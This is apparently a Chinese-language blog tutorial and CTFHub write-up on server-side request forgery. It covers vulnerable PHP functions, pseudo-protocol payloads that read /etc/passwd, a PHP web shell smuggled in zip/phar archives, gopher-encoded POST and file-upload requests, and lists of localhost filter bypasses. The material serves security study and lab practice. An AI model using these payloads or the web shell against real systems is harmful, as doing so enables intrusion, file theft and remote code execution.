SSRF
SSRF
SSRF:服务端请求伪造(Server Side Request Forgery, SSRF)指的是攻击者在未能取得服务器所有权限时,利用服务器漏洞以服务器的身份发送一条构造好的请求给服务器所在内网。SSRF攻击通常针对外部网络无法直接访问的内部系统。
SSRF 漏洞出现的场景 :
- 能够对外发起网络请求的地方,就可能存在 SSRF 漏洞
- 从远程服务器请求资源(Upload from URL,Import & Export RSS Feed)
- 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB)
- Webmail 收取其他邮箱邮件(POP3、IMAP、SMTP)
- 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML)
相关的函数
file_get_contents:
这个函数的本意是读取文件内容到字符串,但它也支持使用HTTP、FTP等协议读取远程资源。当开发者直接使用
$_GET['url']这样的用户输入作为参数时,攻击者就可以构造恶意URL。1
2
3
4
$url = $_GET['url'];
echo file_get_contents($url);在这串代码中,如果恶意传入?url=file:///etc/passwd,那么最后echo的就是/etc/passwd的文件内容,造成文件读取。
fsockopen():
此函数用于打开一个网络Socket连接,允许与任意主机和端口进行原始的TCP通信。它比HTTP库更底层,因此可以与被防火墙保护的、非HTTP协议的内网服务(如Redis、MySQL、Memcached)直接交互。
我们也可以使用该函数去模拟http请求 :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//打开连接通道
$fp=fsockopen('www.cnblogs.com',80,$errno,$errstr,30);
if(!$fp){
die('连接错误'.$errstr);
}
set_time_limit(0);
//通道打开,模拟HTTP请求,http协议标准的换行是\r\n
$http="GET / HTTP/1.1\r\n";
$http.="Host: www.cnblogs.com\r\n";
$http.="User-Agent: $_SERVER[HTTP_USER_AGENT]\r\n";
$http.="Connection: Close\r\n\r\n";
//http模拟完成,发送给服务器
fwrite($fp,$http);
//接受服务器的返回结果
$out='';
while(!feof($fp)){
$out.=fread($fp,1024);
}
echo $out;
fclose($fp);1
HTTP/1.1 403 Forbidden Server: bfe Set-Cookie: BAIDUID=DE50CDD1B12BE7937A9C9D73E4F794FF:FG=1; Path=/; Domain=baidu.com; Max-Age=31536000 Set-Cookie: BAIDUID_BFESS=DE50CDD1B12BE7937A9C9D73E4F794FF:FG=1; Path=/; Domain=baidu.com; Max-Age=31536000; Secure; SameSite=None Date: Tue, 10 Feb 2026 07:24:59 GMT Content-Length: 0 Content-Type: text/plain; charset=utf-8 Connection: close
curl_exec():
cURL是一个非常强大且支持众多协议(如
HTTP、HTTPS、FTP、FILE、GOPHER、DICT等)的库。curl_exec()函数执行cURL会话,如果其目标URL(通过CURLOPT_URL设置)由用户完全控制,攻击面会非常大。1
2
3
4
5
6
7
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_GET['url']); // 用户可控
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result = curl_exec($ch); // 发起请求
echo $result;因其支持
gopher协议,常被用来构造攻击内网Redis、FastCGI等服务的Payload除此之外还有readfile()输出文件内容和fopen()打开文件或者URL
各种协议
file:// 本地文件协议
可以用来读取本地文件,算是比较常用的一个
1
http://ZLARYY.com/?url=file:///etc/passwd
1
http://ZLARYY.com/?url=file:///C:/Windows/win.ini
php://filter
这个也是十分常用的协议,具体语法为:
1
php://filter/动作(或者称过滤器)/resource=文件名
常用过滤器 :
1
2
3
4
5
6
7
8
9
10
11// 读取PHP文件源码(base64编码)
php://filter/read=convert.base64-encode/resource=index.php
// 读取文件(ROT13编码)
php://filter/read=string.rot13/resource=config.php
// 读取文件(大写转换)
php://filter/read=string.toupper/resource=flag.php
// 多重过滤器
php://filter/convert.base64-encode|string.rot13/resource=admin.php1
http://ZLARYY.com/?url=php://filter/read=convert.base64-encode/resource=/etc/passwd
php://input
这个协议的使用需要allow_url_include=on,并且需要有写入权限或代码执行能力
这是一个只读信息流,当请求方式是post的,并且enctype不等于”multipart/form-data”时,可以使用php://input来获取原始请求的数据,当enctype等于”multipart/form-data”时php://input是无效的。
php://input 可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,当传入的参数作为文件名打开时,可以将参数设为php://input,同时post写入想要执行的php代码,php执行时会将post内容当作文件内容,从而导致任意代码执行。
1
2
3
4http://ZLARYY.com/?url=php://input
//POST提交:
<?php system('ls');?>data:// 数据流包含
这个协议的使用也需要allow_url_include=on,其类似于php://input协议,也可以将用户的一段指定的输入流作为被包含的文件,基本语法如下:
1
2data://text/plain,代码内容
data://text/plain;base64,base64编码的代码1
http://ZLARYY.com/?url=data://text/plain,<?php phpinfo();?>
1
http://ZLARYY.com/?url=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
zip:// 压缩包包含
zip协议可以访问zip压缩包里的文件,zip协议的使用要注意只能够使用绝对路径,而不能使用相对路径。
其基本语法如下:
1
zip://压缩文件路径#压缩包内文件名
zip协议一个很大的作用在于我们可以将防护较为严格的文件上传漏洞和文件包含漏洞结合起来,最终获得远程命令执行权限。即上传含有PHP木马的zip压缩包,这样可以使用zip的文件后缀以绕过文件上传漏洞对文件后缀名的限制,然后再利用文件包含漏洞执行这一PHP木马。
1
2
3
4
5
6
7
8
9# 创建恶意压缩包
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.zip shell.php
# 通过LFI包含压缩包中的文件
http://ZLARYY.com/?url=zip:///var/www/uploads/shell.zip%23shell.php
# 执行命令
http://ZLARYY.com/?urrl=zip:///var/www/uploads/shell.zip%23shell.php&cmd=lsphar://
这个就是php解压缩包的一个函数,不管后缀是什么,都会当做压缩包来解压,基本语法:
1
phar://压缩包路径/压缩包内部文件名
1
2
3
4
5
6# 创建Phar包
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.phar shell.php
# 通过LFI包含
http://ZLARYY.com/?url=phar://upload/shell.phar/shell.php&cmd=ls注:在某些文件上传题目中也可以利用该伪协议进行文件读取,可以上传一个将后缀名修改为.png的压缩包,利用 phar://协议不管后缀是什么都会当做压缩包来解压的特性
Gopher
gopher协议是一个古老且强大的协议,可以理解为是http协议的前身,他可以实现多个数据包整合发送。通过gopher协议可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求。很多时候在SSRF下,我们无法通过HTTP协议来传递POST数据,这时候就需要用到gopher协议来发起POST请求了。
- 特点: 简单、无状态、基于 TCP。
- 工作方式: 客户端向服务器发起一个 TCP 连接(默认端口 70),发送一个字符串(选择器,selector),然后服务器返回相应的文本信息并关闭连接。
- 常用于攻击内网服务: 许多内网服务(如 Redis)没有密码认证或使用弱密码,并且因为它们在内网,通常缺乏严格的输入过滤。通过 SSRF 结合 Gopher 协议,攻击者可以直接与这些服务交互,执行命令。
基本语法:
1
gopher://<host>:<port>/_<TCP数据流>
关键点:
_(下划线): 后面跟随的数据会被直接发送到目标服务器的 TCP 端口。- 数据流需要经过 URL 编码 : 因为 URL 本身有特殊字符(如
%,#,?),所以原始数据需要被编码,尤其是换行符\r\n需要被编码为%0D%0A。 - 第一个字符 : 在数据流中,第一个发送的字符会被忽略(通常是用于表示类型的字符,在传统 Gopher 中已不再需要),所以通常我们会用一个无关字符(如
_)或空格(编码为%20)来占位。
可以看到传输符号类内容必须经过URL编码
1 | 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。 |
Gopher协议发送http GET请求:
我首先用flask框架搭建了一个简单的可访问内容:
1 | from flask import Flask,request |
这样我在抓包的时候就能看到这样一个内容:
GET型http数据包为:
1 | GET /login?nm=ZLARYY HTTP/1.1 |
我们将他URL编码之后变成:
1 | %47%45%54%20%2f%6c%6f%67%69%6e%3f%6e%6d%3d%5a%4c%41%52%59%59%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30 |
然后我们手动添加上%0d%0a(这个的目的是表示http请求结束):
1 | %47%45%54%20%2f%6c%6f%67%69%6e%3f%6e%6d%3d%5a%4c%41%52%59%59%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0d%0a |
最后我们试着用gopher协议发送
1 | curl gopher://192.168.1.40:5000/_%47%45%54%20%2f%6c%6f%67%69%6e%3f%6e%6d%3d%5a%4c%41%52%59%59%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0d%0a |
可以看到最后成功显示了success,ZLARYY,说明我们的GET请求发送成功
Gopher协议发送http POST请求:
同样的,简单修改了一下:
1 | from flask import Flask,request |
抓包之后有如下内容:
在使用gopher协议传递POST请求时,需包含如下内容:
1 | POST /login HTTP/1.1 |
最后一个是post传参内容,我们将其URL编码
1 | %50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0a%0a%6e%6d%3d%5a%4c%41%52%59%59 |
最后再加上%0d%0a在末尾
1 | %50%4f%53%54%20%2f%6c%6f%67%69%6e%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%39%32%2e%31%36%38%2e%31%2e%34%30%3a%35%30%30%30%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%39%0a%0a%6e%6d%3d%5a%4c%41%52%59%59%0d%0a |
接下来我们试着用gopher协议发送
成功了,这里提几个注意点:
1 | POST /login HTTP/1.1 |
还有一个在做实验的时候发现的有意思的东西:
经过我URL编码之后的内容,可以无需将所有的%0a替换为%0d%0a,只需要在末尾加上%0d%0a就行;可以先加上%0d%0a再将所有的%0a替换为%0d%0a,也可以先将%0a全部替换为%0d%0a之后再加上%0d%0a
就拿上一个发送POST包来说:
1 | //URL直接编码结果 |
成功拿到响应
1 | //URL编码之后先进行一次将%0a全部替换为%0d%0a的操作 |
1 | //URL编码之后直接在末尾加上%0d%0a |
都是可行的
绕过手法
如果过滤掉了localhost和127.0.0.1,可以采用如下绕过手法:
302跳转:网络上存在一个名为
sudo.cc的服务,放访问这个服务时,会自动重定向到127.0.0.1特殊数字:例如②,可以使用1②7.0.0.1
。代替.绕过:127。0。0。1
省略0:使用127.1代替127.0.0.1
进制转换 :采用127.0.0.1的其他进制形式
1
2
30177.0.0.1 //八进制
0x7f.0.0.1 //十六进制
2130706433 //十进制特殊0:在windows中,0代表
0.0.0.0,而在linux下,0代表127.0.0.1,如下所示:1
?url=http://0/flag.php
http://localhost/ # localhost就是代指127.0.0.1 http://0/ # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1 http://[0:0:0:0:0:ffff:127.0.0.1]/ # 在liunx下可用,window测试了下不行 http://[::]:80/ # 在liunx下可用,window测试了下不行 http://127。0。0。1/ # 用中文句号绕过 http://①②⑦.⓪.⓪.① http://127.1/ http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1from:从一文中了解SSRF的各种绕过姿势及攻击思路_ssrf绕过-CSDN博客
https://xiexie-qiuligao.github.io/2026/01/14/SSRF%20and%20CSRF/
如果题目要求必须以(eg:ZLARYY.com)开头,可以采用@绕过 :
1
/?url=http://ZLARYY.com@127.0.0.1/flag.php
如果题目要求必须包含(eg:ZLARYY.com),并且不限制协议,可以采用php://filter过滤器绕过:
1
/?url=php://filter/ZLARYY.com/resource=/flag.php
CTFHub上的SSRF题目:
内网访问:
访问给的连接发现他直接在URL上加上了/?url=_
1 | http://challenge-7c6228e818330f28.sandbox.ctfhub.com:10800/?url=_ |
结合给的提示:
1 | 尝试访问位于127.0.0.1的flag.php吧 |
应该是希望我们利用SSRF探测内网
成功拿到flag
伪协议读取文件:
本题直接访问与上一题一样,只不过提示变成了:
1 | 尝试去读取一下Web目录下的flag.php吧 |
这里我们直接访问行不通,看来是过滤了http,https协议,我们试着用file协议读取
这里的Web目录其实就是/var/www/html的意思,可惜这道题貌似不能用php://filter读取
端口扫描:
1 | 来来来性感CTFHub在线扫端口,据说端口范围是8000-9000哦, |
这提示我们去爆破试试
Payload Type我们选择Numbers,From 8000 to 9000
最后按长度排序就能找到响应与其他不同的端口了
POST请求:
1 | 这次是发一个HTTP POST请求.对了.ssrf是用php的curl实现的.并且会跟踪302跳转.加油吧骚年 |
我们 传入/?url=http://127.0.0.1/flag.php之后打开开发者工具可以看到
1 | <!-- Debug: key=49719164264cb75cf9f7de397bdbe95e--> |
当我们试着用伪协议读取/var/www/html/flag.php时,看到了这样一串代码:
1 | <!--?php |
看WP还多读了一个文件:
1 |
|
这段代码没有包含错误处理,也没有设置CURLOPT_RETURNTRANSFER选项,这可能导致cURL的输出直接被输出到浏览器,所以可以利用此curl漏洞进行攻击
看样子我们需要使用POST提交一串key到内网的/flag.php中,那么我们可以采用gopher协议,首先构造POST包:
我们构造一下我们需要的内容:
1 | POST /flag.php HTTP/1.1 |
URL编码之后加上%0d%0a:
1 | %50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%33%36%0a%0a%6b%65%79%3d%34%39%37%31%39%31%36%34%32%36%34%63%62%37%35%63%66%39%66%37%64%65%33%39%37%62%64%62%65%39%35%65%0d%0a |
这里如果我们直接传入的话会看不到任何内容,这是由于 在向服务器发送请求时,首先浏览器会进行一次URL解码,其次服务器收到请求后,在执行curl功能时,进行第二次解码。
而如果我们仅仅进行了二次编码传入:
1 | %25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%61%25%30%61%25%36%62%25%36%35%25%37%39%25%33%64%25%33%34%25%33%39%25%33%37%25%33%31%25%33%39%25%33%31%25%33%36%25%33%34%25%33%32%25%33%36%25%33%34%25%36%33%25%36%32%25%33%37%25%33%35%25%36%33%25%36%36%25%33%39%25%36%36%25%33%37%25%36%34%25%36%35%25%33%33%25%33%39%25%33%37%25%36%32%25%36%34%25%36%32%25%36%35%25%33%39%25%33%35%25%36%35%25%30%64%25%30%61 |
这个内容传进去会显示400 bad reqest,这是因为%0A是ASCII 码中的换行符,在URL的二次编码中不需要,否则会导致curl执行错误,导致我们拿不到正确的结果,所以我们在第一次URL编码之后需要将%0a替换为%0d%0a,也就是:
1 | %50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%33%36%0d%0a%0d%0a%6b%65%79%3d%34%39%37%31%39%31%36%34%32%36%34%63%62%37%35%63%66%39%66%37%64%65%33%39%37%62%64%62%65%39%35%65%0d%0d%0a |
对这串内容进行二次URL编码;
1 | %25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%64%25%30%61%25%30%64%25%30%61%25%36%62%25%36%35%25%37%39%25%33%64%25%33%34%25%33%39%25%33%37%25%33%31%25%33%39%25%33%31%25%33%36%25%33%34%25%33%32%25%33%36%25%33%34%25%36%33%25%36%32%25%33%37%25%33%35%25%36%33%25%36%36%25%33%39%25%36%36%25%33%37%25%36%34%25%36%35%25%33%33%25%33%39%25%33%37%25%36%32%25%36%34%25%36%32%25%36%35%25%33%39%25%33%35%25%36%35%25%30%64%25%30%64%25%30%61 |
将这串内容用/?url=gopher://127.0.0.1:80/_上传之后用view-source:我们能看到如下内容:
1 | HTTP/1.1 200 OK |
奇怪,明明flag都出来结尾还有一个400,这里我猜测应该是我们在第一次URL编码之后加上了%0d%0a的原因,或许服务器在收到请求对我们的GET参数解码之后会在调用curl之前在末尾添加上%0d%0a,那么这就意味着结尾重复出现了%0d%0a,如果我们试着删除添加的%0d%0a呢?也就是:
1 | %50%4f%53%54%20%2f%66%6c%61%67%2e%70%68%70%20%48%54%54%50%2f%31%2e%31%0d%0a%48%6f%73%74%3a%20%31%32%37%2e%30%2e%30%2e%31%0d%0a%43%6f%6e%74%65%6e%74%2d%54%79%70%65%3a%20%61%70%70%6c%69%63%61%74%69%6f%6e%2f%78%2d%77%77%77%2d%66%6f%72%6d%2d%75%72%6c%65%6e%63%6f%64%65%64%0d%0a%43%6f%6e%74%65%6e%74%2d%4c%65%6e%67%74%68%3a%20%33%36%0d%0a%0d%0a%6b%65%79%3d%34%39%37%31%39%31%36%34%32%36%34%63%62%37%35%63%66%39%66%37%64%65%33%39%37%62%64%62%65%39%35%65 //%0a替换为%0d%0a之后 |
1 | %25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%36%25%30%64%25%30%61%25%30%64%25%30%61%25%36%62%25%36%35%25%37%39%25%33%64%25%33%34%25%33%39%25%33%37%25%33%31%25%33%39%25%33%31%25%33%36%25%33%34%25%33%32%25%33%36%25%33%34%25%36%33%25%36%32%25%33%37%25%33%35%25%36%33%25%36%36%25%33%39%25%36%36%25%33%37%25%36%34%25%36%35%25%33%33%25%33%39%25%33%37%25%36%32%25%36%34%25%36%32%25%36%35%25%33%39%25%33%35%25%36%35 |
果然,这次没有再显示400了
上传文件:
1 | 这次需要上传一个文件到flag.php了.祝你好运 |
我们试着直接访问http://127.0.0.1/flag.php,让我们上传文件可是没有上传按钮,只好手动添加一个了:
1 | <input type="submit" name="submit"> |
将这段代码添加到前端代码中,并且随便上传一个文件,显示:
1 | Just View From 127.0.0.1 |
我们抓一下上传文件的包:
那么我们再次构造一下POST请求:
1 | POST /flag.php HTTP/1.1 |
注意:在构造的时候,Content-Length表示HTTP请求中空行之后的所有内容的字节数,所以标记位置一定中间要有空行
这里就不废话了,直接给出最后的payload:
1 | gopher://127.0.0.1:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%36%25%36%63%25%36%31%25%36%37%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%64%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%32%25%33%37%25%32%65%25%33%30%25%32%65%25%33%30%25%32%65%25%33%31%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%64%25%37%35%25%36%63%25%37%34%25%36%39%25%37%30%25%36%31%25%37%32%25%37%34%25%32%66%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%64%25%32%64%25%32%64%25%32%64%25%32%64%25%36%37%25%36%35%25%36%33%25%36%62%25%36%66%25%36%36%25%36%66%25%37%32%25%36%64%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%37%25%36%32%25%33%38%25%33%32%25%33%32%25%33%38%25%36%33%25%33%34%25%33%39%25%36%35%25%33%35%25%33%32%25%33%37%25%33%33%25%33%30%25%36%33%25%36%33%25%33%30%25%36%33%25%33%37%25%33%38%25%33%38%25%33%37%25%33%36%25%36%36%25%36%32%25%33%32%25%33%31%25%33%32%25%33%30%25%33%34%25%33%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%32%30%25%33%33%25%33%34%25%33%33%25%30%64%25%30%61%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%36%37%25%36%35%25%36%33%25%36%62%25%36%66%25%36%36%25%36%66%25%37%32%25%36%64%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%37%25%36%32%25%33%38%25%33%32%25%33%32%25%33%38%25%36%33%25%33%34%25%33%39%25%36%35%25%33%35%25%33%32%25%33%37%25%33%33%25%33%30%25%36%33%25%36%33%25%33%30%25%36%33%25%33%37%25%33%38%25%33%38%25%33%37%25%33%36%25%36%36%25%36%32%25%33%32%25%33%31%25%33%32%25%33%30%25%33%34%25%33%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%36%36%25%36%39%25%36%63%25%36%35%25%32%32%25%33%62%25%32%30%25%36%36%25%36%39%25%36%63%25%36%35%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%34%25%36%35%25%37%33%25%37%34%25%32%65%25%37%34%25%37%38%25%37%34%25%32%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%37%34%25%36%35%25%37%38%25%37%34%25%32%66%25%37%30%25%36%63%25%36%31%25%36%39%25%36%65%25%30%64%25%30%61%25%30%64%25%30%61%25%35%33%25%35%33%25%35%32%25%34%36%25%32%30%25%35%35%25%37%30%25%36%63%25%36%66%25%36%31%25%36%34%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%36%37%25%36%35%25%36%33%25%36%62%25%36%66%25%36%36%25%36%66%25%37%32%25%36%64%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%37%25%36%32%25%33%38%25%33%32%25%33%32%25%33%38%25%36%33%25%33%34%25%33%39%25%36%35%25%33%35%25%33%32%25%33%37%25%33%33%25%33%30%25%36%33%25%36%33%25%33%30%25%36%33%25%33%37%25%33%38%25%33%38%25%33%37%25%33%36%25%36%36%25%36%32%25%33%32%25%33%31%25%33%32%25%33%30%25%33%34%25%33%32%25%30%64%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%34%25%36%39%25%37%33%25%37%30%25%36%66%25%37%33%25%36%39%25%37%34%25%36%39%25%36%66%25%36%65%25%33%61%25%32%30%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%33%62%25%32%30%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%32%32%25%37%33%25%37%35%25%36%32%25%36%64%25%36%39%25%37%34%25%32%32%25%30%64%25%30%61%25%30%64%25%30%61%25%64%30%25%61%34%25%65%35%25%65%32%25%30%64%25%30%61%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%32%64%25%36%37%25%36%35%25%36%33%25%36%62%25%36%66%25%36%36%25%36%66%25%37%32%25%36%64%25%36%32%25%36%66%25%37%35%25%36%65%25%36%34%25%36%31%25%37%32%25%37%39%25%33%37%25%36%32%25%33%38%25%33%32%25%33%32%25%33%38%25%36%33%25%33%34%25%33%39%25%36%35%25%33%35%25%33%32%25%33%37%25%33%33%25%33%30%25%36%33%25%36%33%25%33%30%25%36%33%25%33%37%25%33%38%25%33%38%25%33%37%25%33%36%25%36%36%25%36%32%25%33%32%25%33%31%25%33%32%25%33%30%25%33%34%25%33%32%25%32%64%25%32%64 |
FastCGI协议:
1 | 这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助 |
附件地址:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写_flower未授权-CSDN博客
1 | 类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。Fastcgi协议由多个record组成,record也有header和body一说,服务器中间件将这二者按照fastcgi的规则封装好发送给语言后端,语言后端解码以后拿到具体数据,进行指定操作,并将结果再按照该协议封装好后返回给服务器中间件。 |
我们尝试直接访问显示404,之后尝试用file读取/flag.php和/var/www/html/flag.php都没有结果。
根据前面的文章我们重点看最后的任意代码执行部分:
1 | 理论上当然是不可以的,即使我们能控制SCRIPT_FILENAME,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。 |
这里我们需要用到一个Gopherus工具生成fastcgi的payloald:
1 | 利用条件: |
输出的payload还需要 经过一次URL编码;
